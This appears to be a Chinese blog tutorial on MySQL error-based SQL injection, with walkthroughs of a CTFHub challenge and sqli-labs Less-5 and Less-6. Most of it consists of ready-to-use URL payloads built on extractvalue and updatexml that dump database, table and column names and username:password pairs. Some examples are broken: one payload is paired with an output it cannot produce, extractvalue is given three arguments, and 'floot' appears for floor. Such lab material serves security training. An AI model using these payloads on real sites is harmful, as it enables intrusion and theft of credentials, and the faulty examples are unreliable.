请勿截屏传播

报错注入

报错注入(Error-based Injection)是 SQL 注入的一种类型,通过构造恶意 SQL 语句触发数据库错误,利用错误信息泄露敏感数据。核心原理是 将需要查询的信息(如数据库名、表名)嵌入到错误信息中 ,当应用返回错误时,攻击者即可从错误提示中获取数据

1.什么是报错注入

报错注入(Error-based Injection)是 SQL 注入的一种类型,通过构造恶意 SQL 语句触发数据库错误,利用错误信息泄露敏感数据。核心原理是 将需要查询的信息(如数据库名、表名)嵌入到错误信息中 ,当应用返回错误时,攻击者即可从错误提示中获取数据

2.报错注入的分类

1.数据类型溢出

大整数溢出

2.函数参数格式错误

Xpath报错:1.select updatexml(1,concat(0x7e,(select @@version),0x7e),1);# 2.select extractvalue(1,concat(0x7e,(select @@version),0x7e),1);#

3.主键/字段重复

主键重复:select count(*),(concat(floot(rand(0)*2),(select version())))x from users group by x;#

3.解决步骤

前期工作

-1: 测试注入点存在 :输入单引号、双引号等特殊字符,观察页面是否返回 SQL 语法错误。

  • 示例:访问 http://target/?id=1' ,若返回 You have an error in your SQL syntax ,说明存在注入点。 -2:确定闭合方式 :测试单引号、双引号、括号等闭合方式,确认原始 SQL 语句的参数包裹形式。
  • 例如:输入 1' 报错,输入 1') 不报错,说明闭合方式为 ('id') 。 -3:选择报错函数
    • MySQL: - extractvalue() :路径参数非法时报错。 - updatexml() :路径参数非法时报错。 - floor(rand(0)*2) + group by :主键重复报错。

1. 获取数据库名

构造 payload 调用 database() 函数,将数据库名嵌入错误信息:

  • 示例(MySQL + extractvalue):
    http://target/?id=1' and  extractvalue(1,concat(0x7e, (select group_concat(username, 0x3a,password) from users), 0x7e)) --  错误信息显示: XPATH syntax error: 'security' ( security 为数据库名)。

2.获取表名

查询 information_schema.tables 获取数据库中的表:

  • 示例:
    http://target/?id=1' and  extractvalue(1,concat(0x7e, (select group_concat (table_name) from  information_schema.tables where  table_schema='security'),0x7e))  --  错误信息显示表名(如 emails,referers,uagents,users )。

    3. 获取字段名

查询 information_schema.columns 获取表中的字段:

  • 示例:
    http://target/?id=1' and  extractvalue(1,concat(0x7e, (select group_concat (column_name) from  information_schema.columns  where table_schema='security'  and table_name='users'),0x7e))  --  错误信息显示字段名(如 id,username,password )。

4.获取数据

查询表中的具体数据(如用户名、密码):

  • 示例:
    http://target/?id=1' and  extractvalue(1,concat(0x7e, (select group_concat(username, 0x3a,password) from users), 0x7e)) -- 

错误信息显示用户数据(如 Dumb:Dumb,Angelina:I-kill-you )。

5.处理数据长度限制

部分报错函数(如 extractvalue() 、 updatexml() )返回的错误信息长度有限制(通常为 32 个字符),需通过以下方式处理:

  • 分段查询 :使用 substring() 或 limit 语句分批获取数据。
    • 示例: http://target/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30),0x7e)) --

4.ctfhub(报错注入)

我们输入1试试 我们在1后面加 一个' /"/)查看是什么闭合 当我们输入1'是返回的页面说我们的SQL的语法错误,(如 You have an error in your SQL syntax ),说明存在注入点且错误信息可见。 我们构造报错payload来获取数据库名 使用extractvalue() 函数触发错误,同时获取当前数据库名: ?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) %23 我们的得到了sqli的库,接下来我们获取表名 ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli'),0x7e)) %23 我们得到了flag表,然后获取字段名 ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e)) %23 最后获取flag数据 ?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) %23

5.sqli-labs Less-5

我们先输入?id=1/2/2-1判断是否为数字型或者字符型注入 结果发现都没有反应,我们尝试是否为报错注入,?id=1' ** 我们发现了You have an error in your SQL syntax;说明存在注入点且错误信息可见。我们构造报错payload来获取数据库名使用extractvalue() 函数触发错误,同时获取当前数据库名: ?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) %23 我们发现了security的库,接下来我们获取表名 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) %23 我们得到了users的表名,然后获取字段名 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) %23 最后我们获取数据库里的usename,password ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password)from users),0x7e)) %23 如果出现 使用1' and extractvalue(1,concat(0x7e,(select group_concat(password) from (select password from users)a),0x7e))

6.sqli-labs Less-6

和sqli-labs Less-5解法相同,就是把 ‘ 改为 “

堆叠注入和二次注入
宽字节注入

评论区

评论加载中...